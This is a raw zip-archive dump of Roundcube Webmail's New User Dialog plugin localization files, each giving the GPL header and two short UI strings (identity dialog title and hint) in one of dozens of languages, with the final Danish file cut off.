PKh�\pr�
��.plugins/new_user_dialog/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Por favor complete a sua identidade';
$labels['identitydialoghint'] = 'Esta tela aparece somente no primeiro acesso.';
PKh�\��)��.plugins/new_user_dialog/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Lūdzu aizpildiet Jūsu, kā sūtītāja, identitātes informāciju';
$labels['identitydialoghint'] = 'Šis logs parādīsies tikai pirmajā autorizācijas reizē.';
PKh�\�"s��.plugins/new_user_dialog/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Doplňte prosím svoju identifikáciu odosielateľa';
$labels['identitydialoghint'] = 'Toto okno sa zobrazí len raz, pri prvom prihlásení.';
PKh�\^�����.plugins/new_user_dialog/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Prosím doplňte své jméno a e-mail';
$labels['identitydialoghint'] = 'Tento dialog se objeví pouze při prvním přihlášení.';
PKh�\����.plugins/new_user_dialog/localization/nl_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Gelieve uw verzend identiteit te vervolledigen';
$labels['identitydialoghint'] = 'Dit scherm verschijnt enkel bij de eerste aanmelding.';
PKh�\]��.plugins/new_user_dialog/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Будь ласка, вкажіть Ваше ім’я';
$labels['identitydialoghint'] = 'Це повідомлення відображається тільки під час першого входження';
PKh�\J�����.plugins/new_user_dialog/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Foltôgje jo stjoerder identiteit';
$labels['identitydialoghint'] = 'Dit fak ferskynt allinnich by de earste kear ynloggen.';
PKh�\�����.plugins/new_user_dialog/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Bitte vervollständigen Sie Ihre Absender-Informationen';
$labels['identitydialoghint'] = 'Dieser Dialog erscheint nur einmal beim ersten Login.';
PKh�\��O��/plugins/new_user_dialog/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Por favor completa tu información de remitente';
$labels['identitydialoghint'] = 'Esta sección solo aparece un vez en el primer login.';
PKh�\��aa+plugins/new_user_dialog/localization/es.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | plugins/new_user_dialog/localization/<lang>.inc                       |
 |                                                                       |
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 | Copyright (C) 2012-2013, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/
$labels['identitydialogtitle'] = 'Por favor complete su identidad de remitente';
$labels['identitydialoghint'] = 'Esta caja solo aparece en el primer inicio de sesión.';
?>PKh�\��B��.plugins/new_user_dialog/localization/hy_AM.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Լրացրեք Ձեր ինքնությունը';
$labels['identitydialoghint'] = 'Այս նշումը երևում է միայն առաջին մուտքի ժամանակ մեկ անգամ';
PKh�\}�h��.plugins/new_user_dialog/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Please complete your sender identity';
$labels['identitydialoghint'] = 'This box only appears once at the first login.';
PKh�\�cd��.plugins/new_user_dialog/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = '請完成填寫您的身份資訊';
$labels['identitydialoghint'] = '此視窗只會於第一次登入時出現';
PKh�\HO����.plugins/new_user_dialog/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Si us plau, completeu la identitat del vostre remitent';
$labels['identitydialoghint'] = 'Aquest quadre només apareix un cop a la primera entrada.';
PKh�\N?����+plugins/new_user_dialog/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Per favor, completa vostre identitate de expeditor';
$labels['identitydialoghint'] = 'Iste quadro solmente appare un vice al prime apertura de session.';
PKh�\.��I��.plugins/new_user_dialog/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Molimo vas da kompletirate vaš identitet pošiljaoca';
$labels['identitydialoghint'] = 'Ovaj okvir se pojavljuje samo jednom prilikom prve prijave.';
PKh�\N��.plugins/new_user_dialog/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Пожалуйста, укажите Ваше имя.';
$labels['identitydialoghint'] = 'Данное сообщение отображается только при первом входе.';
PKh�\�6��.plugins/new_user_dialog/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'لطفا شناسه ارسالی‌تان را کامل کنید';
$labels['identitydialoghint'] = 'این جعبه فقط یک بار در اولین ورود ظاهر می‌شود.';
PKh�\�����.plugins/new_user_dialog/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Fylltu út auðkenni þín fyrir sendingar';
$labels['identitydialoghint'] = 'Þessi reitur birtist einungis við fyrstu innskráningu.';
PKh�\��f4��.plugins/new_user_dialog/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Xin điền nhận diện người gửi của bạn';
$labels['identitydialoghint'] = 'Hộp này chỉ xuất hiện 1 lần khi đăng nhập lần đầu tiên';
PKh�\��U�pp.plugins/new_user_dialog/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'โปรดกรอกข้อมูลประจำตัวของผู้ส่ง';
$labels['identitydialoghint'] = 'ช่องนี้จะปรากฏขึ้นเพียงครั้งเดียวในการเข้าสู่ระบบครั้งแรก';
PKh�\xbv���.plugins/new_user_dialog/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'يرجى اكمال هوية المُرسل.';
$labels['identitydialoghint'] = 'يظهر هذا المربع مرة واحدة فقط عند أول الدخول';
PKh�\e�C���.plugins/new_user_dialog/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Lütfən, adınızı yazın.';
$labels['identitydialoghint'] = 'Bu məlumat yalnız ilk girişdə göstərilir.';
PKh�\Ł[���.plugins/new_user_dialog/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Tolong lengkapi identitas pengirim Anda';
$labels['identitydialoghint'] = 'Kotak ini hanya muncul sekali saat masuk pertama kali.';
PKh�\qQWz��.plugins/new_user_dialog/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Kérem töltse ki a küldő azonosítóját';
$labels['identitydialoghint'] = 'Ez az ablak csak az első belépéskor jelenik meg.';
PKh�\NͶ&��.plugins/new_user_dialog/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Te rog completează identitatea expeditorului.';
$labels['identitydialoghint'] = 'Această căsuţă apare doar la prima autentificare.';
PKh�\�ߝ��+plugins/new_user_dialog/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Bonvole plenumu vian identon pri sendanto';
$labels['identitydialoghint'] = 'Ĉi tiu kesto aperas nur unufoje je la unua ensaluto.';
PKh�\�w���.plugins/new_user_dialog/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Veuillez saisir votre identité d’expéditeur';
$labels['identitydialoghint'] = 'Ce champ n’apparaît que lors de la première connexion.';
PKh�\�"Cj��.plugins/new_user_dialog/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Molim dovršite vaš identitet za slanje poruka';
$labels['identitydialoghint'] = 'Ova poruka će se pojaviti samo kod prve prijave.';
PKh�\�:��.plugins/new_user_dialog/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Uzupełnij tożsamość nadawcy';
$labels['identitydialoghint'] = 'To okno pojawia się tylko przy pierwszym logowaniu.';
PKh�\���44.plugins/new_user_dialog/localization/mr_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'कृपया पाठवणा-याची ओळख पूर्ण करा';
$labels['identitydialoghint'] = 'हा चौकोन पहिल्यांदा लॉगिन करताना एकदाच दिसेल.';
PKh�\C�6���.plugins/new_user_dialog/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = '送信者情報の入力を完了してください。';
$labels['identitydialoghint'] = 'このボックスは最初のログイン時に一度だけ表示されます。';
PKh�\f����.plugins/new_user_dialog/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Fullfør avsendaridentiteten din.';
$labels['identitydialoghint'] = 'Denne boksen kjem berre fram ved første pålogging.';
PKh�\����,plugins/new_user_dialog/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Por favor, completa la to identidá de remitente';
$labels['identitydialoghint'] = 'Esta caxa namái apaecerá una vegada nel primer aniciu de sesión.';
PKh�\�q��.plugins/new_user_dialog/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Попуните свој идентитет пошиљаоца';
$labels['identitydialoghint'] = 'Ово се појављује само једном при првом пријављивању';
PKh�\µ���.plugins/new_user_dialog/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Vervollstänneg w.e.gl deng Sender-Identitéit';
$labels['identitydialoghint'] = 'Dës Këscht erschéngt just beim éischte Login.';
PKh�\�)b���.plugins/new_user_dialog/localization/fa_AF.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'لطفا مشخصات فرستنده را کامل کنید';
$labels['identitydialoghint'] = 'این متن تنها هنگام اولین ورود نمایش داده خواهد شد';
PKh�\S�Jѿ�+plugins/new_user_dialog/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Bizskrivit hoc\'h anv kaser mar plij';
$labels['identitydialoghint'] = 'Diskouezet eo ar boest e-pad ar c\'hentañ kennask.';
PKh�\&��H**.plugins/new_user_dialog/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Ве молиме пополнете го идентитетот на испраќачот ';
$labels['identitydialoghint'] = 'Оваа кутија се појавува само еднаш на првото најавување ';
PKh�\�`g��.plugins/new_user_dialog/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'សូម​បំពេញ​អត្តសញ្ញាណ​របស់​អ្នក​ផ្ញើ​របស់​អ្នក';
$labels['identitydialoghint'] = 'ប្រអប់​នេះ​បង្ហាញ​តែ​ម្ដង​នៅ​ពេល​ចូល​​ដំបូង​ប៉ុណ្ណោះ។';
PKh�\[H		.plugins/new_user_dialog/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Илгээхэд харагдах мэдээллээ оруулна уу';
$labels['identitydialoghint'] = 'Энэ хайрцаг анх нэвтрэх үед нэг л удаа харагдана.';
PKh�\��}���.plugins/new_user_dialog/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'נא להשלים את פרטי זהותך';
$labels['identitydialoghint'] = 'תיבה זו מופיעה פעם אחת בזמן הכניסה הראשונה למערכת';
PKh�\�^��.plugins/new_user_dialog/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

$labels['identitydialogtitle'] = 'Críochnaigh do chéannacht seoltóra';
$labels['identitydialoghint'] = 'Ní fheictear an bosca seo ach uair amháin nuair a cheanglaítear anseo den chéad uair.';
PKh�\�6��.plugins/new_user_dialog/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail New User Dialog plugin     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-new_user_dialog/
*/

